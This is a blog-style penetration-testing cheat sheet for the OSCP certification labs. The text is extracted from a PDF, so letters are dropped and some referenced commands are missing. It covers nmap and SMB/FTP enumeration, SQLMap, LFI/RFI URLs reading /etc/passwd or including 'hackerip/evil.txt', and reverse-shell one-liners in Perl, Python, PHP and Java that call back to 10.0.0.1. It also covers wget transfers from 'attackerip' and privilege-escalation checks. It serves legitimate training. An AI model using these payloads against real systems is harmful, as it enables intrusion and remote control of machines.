Luke's Ultimate OSCP Guide Part
Luke's Ultimate OSCP Guide Part
Pentester | Hubby | Musician | On a mission to free my thoughts and actions from the limits
which are imposed on them by society.
Mar 31 · 14 min read
Man walks through door with large shadow. OFFENSIVE security logo dramatically appears in a
red abyss.
So, you’ve nally signed up, paid the money, waited for the start date,
logged in to the VPN, and are suddenly hit in the face with a plethora of
vulnerable boxes and you have no idea where to start.
This part of the guide will show the general process I tend to use when
approaching a new target in the OSCP labs. This is by no means a
replacement for reading the PWK manual and doing the exercises, it’s a
brief overview of some major vulnerability types and a few tips. You can
always refer back to this post later, using it as a cheat sheet for
command syntax.
Nmap
First of all, we need to know what boxes exist on the network nmap run
a ping scan:
This will scan the 1024 most common ports, run OS detection, run
default nmap scripts, and save the results in a number of formats in the
current directory.
This will scan all 65535 ports on $targetip with a full connect scan. This
scan will probably take a very long time. The -v stands for verbose, so
that when a new port is discovered, it will print it out straight away
instead of having to wait until the end of the scan, scanning this many
ports over the internet takes a long time. I would often leave the scan
running overnight, or move on to a di erent box in the meantime.
Probing services
From these initial nmap scans, we should have gained a lot of
information about machine — we know what ports are open, and
usually what services they are running.
HTTP(S)
If the server is running HTTP or HTTPS, the next logical step is to check
it out in a web browser. What does it display? Is it a potentially
vulnerable web application? Is it a default web server page which
reveals version information?
./dirsearch.py -w /usr/share/wordlists/dirbuster/directory-
list-2.3-medium.txt -u $targetip -e php
SMB
Nmap scripts
Kali comes with a bunch of really great nmap scripts which can be used
to probe SMB further — these scripts can be viewed with the following
command.
Note that the script parameter also accepts wildcards, for example, to
try all of the nmap SMB vulnerability testing scripts, use:
enum4linux -a $targetip
smbclient
This tool is for connecting to a box via SMB. It basically works the same
as a command line FTP client. Sometimes you can connect to a box and
browse les without even having credentials, so it’s worth a check!
smbclient \\\\$ip\\$share
FTP
Anonymous Access
There are a number of nmap scripts which can help with enumerating
FTP, but the very rst thing to check is whether anonymous access is
enabled.
ftp $targetip
Username: anonymous
Password: anything
This has varying degrees of success, most of the time, it won’t work.
Sometimes you will be able to read les but not write them, and other
times you will be presented with full read and write access.
SSH
Other than a few rare exceptions, SSH is not likely to be vulnerable.
Unless it is running a strange version of SSH, or a particularly old
version, I wouldn’t usually bother exploring this further. Just note that
it is there, and if you nd credentials somewhere else on the system, try
using it on SSH!
Other Services
Manual banner grabbing
You can always connect to a service using netcat and see what
information it gives you.
nc $targetip $port
Finding exploits
Searchsploit will search all the exploits in the exploit-db database. To
update your database:
searchsploit -u
Google
Google is a good source of information, whodathunkit? Try search
terms which contain the service name, version and the word ‘exploit’.
For example,
Metasploit
Metasploit is a whole other bag which I am not going to go into too
much in this article, but if you’re looking to search within metasploit,
just run search $searchterm from msfconsole. Note — there are heavy
restrictions on using metasploit in the exam, so don’t get too reliant on
it. When you do use it, take a look at the actual metasploit module you
are using, and make sure you understand how it works. Maybe even try
porting it to a standalone exploit!
Burp Suite
Burp suite is a very handy tool for testing webapps. I would go as far as
saying it is my single favourite penetration testing tool. If you’re
crafting a RCE payload or SQL injection, it’s much quicker and easier to
send the HTTP request to the repeater in burp and edit the payload
there than to try editing it in the browser. It’s worth learning the more
advanced Burp features too, both for OSCP and for your future in
cyber!
SQL Injections
If a developer is incompetent and/or lazy, a text eld in a webapp can
sometimes end up being passed (unsanitized) into an SQL query. If that
is the case, you may be able to use this vulnerability to bypass login
forms, dump databases (credentials?), and even write les. A full
summary of SQL injection methods would be a whole other post, but
for now, you can checkout the OWASP guides and use SQLMap.
Important — this tool is NOT allowed to be used in the exam at all,
however, you should learn how to use it by experimenting with it in the
labs.
One huge time-saver when learning SQLMap is to use the -r switch. You
can catch the vulnerable request using a proxy like Burp, save it to a
text le, and then use SQLMap to scan it just by running:
sqlmap -r file.req
It took me an embarrassingly long time to nd this feature. Don’t be like
me. Writing the request details on the command line sucks.
File inclusions
Sometimes, we are able to include a le of our choice in the code of the
web application. If we can somehow inject our own code into that le
— we have command execution. There are two types of le inclusion
vulnerabilities — local le inclusions (LFI) and remote le inclusions
(RFI).
RFIs occur when you can include a remote le (perhaps one that is
hosted on your local machine). RFIs are typically easier to exploit,
because you can simply host some code on your local machine, and
point the RFI to that code to execute it.
LFIs occur when you can include a le on the target machine, they can
be handy for reading local les (such as /etc/passwd), but if you can
somehow inject your own code into the system somewhere, you can
often turn an LFI into remote code execution.
http://target.com/?page=home
http://target.com/?
page=./../../../../../../../../../etc/passwd%00
If you were super observant, you may have noticed that I put a %00 on
the end of the URL. This is called a null byte, and it’s purpose is to
terminate the string. This technique does not work on newer versions of
PHP, but I found that it worked for many of the LFI/RFI vulnerabilities
in the labs. If the underlying vulnerable code looks like this:
include($page . '.php');
http://target.com/?page=http://hackerip/evil.txt%00
There are too many avenues to explore here, but use your imagination.
Try to think about how the code may look on the backend, and how you
might be able to inject your own commands.
Reverse Shells
A reverse shell is when you make your target machine connect back to
your machine and spawn a shell. Popping a shell is the most exciting
part of any hack.
Which will pipe /bin/sh back to 10.0.0.1 on port 1234, without using
the -e switch. This brings us to the next section nicely.
Bash
Perl
perl -e 'use
Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($
i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exe
c("/bin/sh -i");};'
Python
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.S
OCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),
0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i
<&3 >&3 2>&3");'
Ruby
Netcat with -e
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec
5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do
\$line 2>&5 >&5; done"] as String[])
p.waitFor()
• If we are dealing with an IIS server, create our own .asp or .aspx
reverse shell payload with msfvenom, and then execute it.
• Powershell injection
First things rst — you need to nd a directory you can write to. The
rst places to look are /tmp or /dev/shm but if that doesn’t work for
you, this command should nd writeable directories:
HTTP(S)
Now that we have found somewhere to transfer to, it’s time to transfer
the les! The quickest, easiest way to transfer les to a Linux victim is to
setup a HTTP server on your Kali box. If you like being ine cient, set
up Apache. If you would rather keep things easy, navigate to the
directory containing the le(s) you wish to transfer and run:
root@kali# python -m SimpleHTTPServer 80
wget http://attackerip/file
Or
Netcat
If HTTP le transfers are not an option, consider using netcat. First set
up your victim to listen for the incoming request and pipe the output to
a le (it’s best to use a high port number, as using port numbers < 1024
is often not allowed unless you’re root):
If you’re attacking a windows box and this method isn’t going to work
for you, consider trying TFTP or SMB as alternate le transfer methods.
If you’re lucky, there may also be a le upload method in a web
application.
You should get a nicer looking prompt, but your job isn’t over yet. Press
Ctrl+Z to background your reverse shell, then in your local machine
run:
Things are going to look really messed up at this point, but don’t worry.
Just type reset and hit return. You should be presented with a fully
interactive shell. You’re welcome.
There’s still one little niggling thing that can happen, the shell might
not be the correct height/width for your terminal. To x this, go to your
local machine and run:
stty size
This should return two numbers, which are the number of rows and
columns in your terminal. For example’s sake let’s say this command
returned 48 120 Head on back to your victim box’s shell and run the
following.
sudo su
sudo -l
Kernel Exploits
The second thing I try is:
uname -ar
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Debian based
cat /etc/redhat-release # Redhat based
These commands will tell you which kernel and distribution you are
looking at. If you’re lucky, Googling the kernel version and/or the
distribution version may reveal known privilege escalation exploits to
try.
Linenum
If you’re into automation and e ciency, checkout LinEnum.sh. It’s a
great bash script that enumerates a lot of common miscon gurations in
Linux systems. You can get it here:
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
G0tmi1k?
Lastly, let’s pay homage to the most referenced Linux privilege
escalation article of all time by g0tmi1k:
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
If that doesn’t work, you have to do it the hard way. This is a pretty
thorough article that has helped me out more than once:
http://www.fuzzysecurity.com/tutorials/16.html
Luke’s Ultimate OSCP Guide: Part 1 — Is OSCP for you? Some things
you should know before you start
The End?
The goal of this post is to provide some tips that helped me in my OSCP
journey. If you think something is missing, have any questions, or just
want to chat — get in touch! The easiest place to nd me is on twitter, or
right here on Medium.